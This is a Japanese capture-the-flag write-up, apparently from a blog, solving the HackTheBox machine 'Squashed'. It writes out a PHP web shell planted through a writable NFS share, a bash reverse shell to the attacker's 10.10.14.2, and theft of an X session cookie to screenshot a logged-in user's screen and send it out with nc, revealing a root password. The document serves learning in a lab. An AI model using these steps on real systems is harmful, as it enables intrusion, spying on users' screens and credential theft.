🔥

HackTheBox Squashed

2022/12/13に公開

Squashed

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.191 -oN nmap.log

PORT      STATE    SERVICE  REASON         VERSION
22/tcp    open     ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open     http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open     rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35147/tcp6  mountd
|   100005  1,2,3      52811/tcp   mountd
|   100005  1,2,3      57869/udp   mountd
|   100005  1,2,3      60327/udp6  mountd
|   100021  1,3,4      35593/tcp6  nlockmgr
|   100021  1,3,4      41981/tcp   nlockmgr
|   100021  1,3,4      54539/udp6  nlockmgr
|   100021  1,3,4      55009/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open     nfs_acl  syn-ack ttl 63 3 (RPC #100227)
8000/tcp  open     http     syn-ack ttl 63 SimpleHTTPServer 0.6 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
|_http-title: Directory listing for /
23060/tcp filtered unknown  no-response
37589/tcp open     mountd   syn-ack ttl 63 1-3 (RPC #100005)
41981/tcp open     nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
44933/tcp open     mountd   syn-ack ttl 63 1-3 (RPC #100005)
52811/tcp open     mountd   syn-ack ttl 63 1-3 (RPC #100005)
59897/tcp filtered unknown  no-response

多くのポートを確認

web


特に情報は見当たらない

nfs

2049番ポートで nfs を発見したので、マウントができないか調べてみる

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ showmount -e 10.10.11.191                                                        
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

ross と html ディレクトリを発見
mount を実行し、ross から調査する

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo mount -t nfs 10.10.11.191:home/ross /mnt/ross -nolock

/mnt/ross にマウントされるようにする

┌──(kali㉿kali)-[/mnt/ross]
└─$ ls -la
total 68
drwxr-xr-x 14 1001 1001 4096 Dec 12 04:29 .
drwxr-xr-x  4 root root 4096 Dec 12 23:28 ..
lrwxrwxrwx  1 root root    9 Oct 20 22:24 .bash_history -> /dev/null
drwx------ 11 1001 1001 4096 Oct 21 23:57 .cache
drwx------ 12 1001 1001 4096 Oct 21 23:57 .config
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Desktop
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Documents
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Downloads
drwx------  3 1001 1001 4096 Oct 21 23:57 .gnupg
drwx------  3 1001 1001 4096 Oct 21 23:57 .local
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Music
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Pictures
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Public
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Templates
drwxr-xr-x  2 1001 1001 4096 Oct 21 23:57 Videos
lrwxrwxrwx  1 root root    9 Oct 21 22:07 .viminfo -> /dev/null
-rw-------  1 1001 1001   57 Dec 12 04:29 .Xauthority
-rw-------  1 1001 1001 2475 Dec 12 04:29 .xsession-errors
-rw-------  1 1001 1001 2475 Oct 31 19:13 .xsession-errors.old

複数のディレクトリを発見したが、特に気になる情報は見つからなかった
次は、html を調査する

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo mount -t nfs 10.10.11.191:var/www/html /mnt/Squashed/html -nolock

/mnt/Squashed/html を確認してみる

┌──(kali㉿kali)-[/mnt/Squashed]
└─$ cd html    
cd: permission denied: html

確認しようとすると、permission で弾かれてしまった

┌──(kali㉿kali)-[/mnt/Squashed]
└─$ ls -l 
total 4
drwxr-xr-- 5 2017 www-data 4096 Dec 13 00:30 html

権限を確認すると、ユーザIDが 2017 のユーザと www-data に権限があることがわかった

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo useradd hack

権限を得るために、ユーザを作成し ID を変更する

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo usermod -u 2017 hack

ユーザID の変更は usermod で行う
ここまで完了したら、hack にシェルを移し、html へのアクセスを試みる

hack@kali:/mnt/Squashed/html$ ls -l
total 44
drwxr-xr-x 2 hack www-data  4096 Dec 13 00:35 css
drwxr-xr-x 2 hack www-data  4096 Dec 13 00:35 images
-rw-r----- 1 hack www-data 32532 Dec 13 00:35 index.html
drwxr-xr-x 2 hack www-data  4096 Dec 13 00:35 js

成功した
これにより、ファイルを追加することができる

hack@kali:/mnt/Squashed/html$ cat hello.html
<html>
    <head>
        <meta charset="utf8">
    </head>
    <body>
        <h1>Hello World!</h1>
    </body>
</html>

試しに上記のような html ファイルを作成

うまく追加できたことがわかる

hack@kali:/mnt/Squashed/html$ echo "<?php phpinfo() ?>" > info.php

さらに、PHP が使用できるか試してみる

使用できた。
これにより、シェルの取得ができそう

alex としてのシェル

bash

まずは、php ファイルを用意

hack@kali:/mnt/Squashed/html$ echo -e '<?php\n  system($_REQUEST['cmd']);\n?>' > cmd.php

いつものように、system による実行を試みる

cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.2/5555 0>%261'

上記は実際に送るリクエスト
アンド(&)を %26 としないとうまく実行できない

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.191] 44526
alex@squashed:/var/www/html$ whoami
alex

実行すると、シェルを取得できる

user フラグ

alex@squashed:/home/alex$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

権限昇格

Xauthority

ross のホームディレクトリを見てみると、Xauthority を発見

hack@kali:/mnt/ross$ ls -la
total 68
drwxr-xr-x 14 hack hack 4096 Dec 12 04:29 .
drwxr-xr-x  4 root root 4096 Dec 12 23:28 ..
-rw-------  1 hack hack   57 Dec 12 04:29 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20 22:24 .bash_history -> /dev/null
drwx------ 11 hack hack 4096 Oct 21 23:57 .cache
drwx------ 12 hack hack 4096 Oct 21 23:57 .config
drwx------  3 hack hack 4096 Oct 21 23:57 .gnupg
drwx------  3 hack hack 4096 Oct 21 23:57 .local
lrwxrwxrwx  1 root root    9 Oct 21 22:07 .viminfo -> /dev/null
-rw-------  1 hack hack 2475 Dec 12 04:29 .xsession-errors
-rw-------  1 hack hack 2475 Oct 31 19:13 .xsession-errors.old
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Desktop
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Documents
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Downloads
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Music
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Pictures
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Public
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Templates
drwxr-xr-x  2 hack hack 4096 Oct 21 23:57 Videos

初めは何かわからず、名前的に怪しいなという感じだったので、調べてみた

Xauthority. The .Xauthority file can be found in each user’s home directory.
It is used to store credentials in cookies used by xauth for authentication
of XServer.

どうやら、Cookie に認証情報を保存するために使用され、Xserver を行うらしい
HackTricks にも情報が載っていた

xdpyinfo -display <ip>:<display>

xdpyinfo というコマンドを実行することで、接続の確認が行えるらしい
display は w を実行することで確認することができる

alex@squashed:/var/www/html$ w
 13:49:06 up 17:57,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Mon19   17:57m  2:01   0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome

今回は、「:0」 であることがわかった

alex@squashed:/var/www/html$ xdpyinfo -display :0
No protocol specified
xdpyinfo:  unable to open display ":0".

実際に実行してみたが、うまくいかなかった
Xauthority が必要である可能性が高い

alex@squashed:/var/www/html$ curl http://10.10.14.2:8000/.Xauthority -o /tmp/.Xauthority
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    57  100    57    0     0     97      0 --:--:-- --:--:-- --:--:--    97

curl コマンドで、/tmp に Xauthority を作成(複製)する
ここまでくれば、再度 Xauthority を使って、xdpyinfo を実行する

alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0 
XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
name of display:    :0
version number:    11.0
vendor string:    The X.Org Foundation
vendor release number:    12013000
X.Org version: 1.20.13
maximum request size:  16777212 bytes
motion buffer size:  256
bitmap unit, bit order, padding:    32, LSBFirst, 32
image byte order:    LSBFirst
number of supported pixmap formats:    7

大量の出力が見られるが、特に重要な情報はない
ここで大切なのは、認証が成功したということ

alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/xauth.xwd

認証が成功したので、スクリーンショットを撮る

alex@squashed:/tmp$ cat /tmp/xauth.xwd | nc 10.10.14.2 7777

Kali 側で変換を行うので、nc でファイルを送る

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ nc -lvnp 7777 > xauth.xwd
listening on [any] 7777 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.191] 56068

うまく送ることができた

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ convert xauth.xwd xauth.png

convert を実行し、png へと変換
変換がうまくいったので、png ファイルを見てみる

パスワードが出力された

root としてのシェル

SSH

SSH の認証に使用できるか試してみる

┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ ssh root@10.10.11.191 
root@10.10.11.191's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 13 Dec 2022 02:11:05 PM UTC

  System load:             0.19
  Usage of /:              73.8% of 5.79GB
  Memory usage:            31%
  Swap usage:              0%
  Processes:               254
  Users logged in:         1
  IPv4 address for ens160: 10.10.11.191
  IPv6 address for ens160: dead:beef::250:56ff:feb9:59bc


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Oct 26 18:12:23 2022 from 10.10.14.40
root@squashed:~# whoami
root

権限昇格成功

root フラグ取得

root@squashed:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

攻略完了

所感

今回のボックスは難しかった。まず、Xauthority に関して知識が弱いという点がかなり厳しく調べてもなかなか分からない状況が続いた。しかし、今までとは少し違う攻略の仕方でもあったのでいい勉強になった。HackTheBox の評価が easy よりなのが衝撃すぎる

Discussion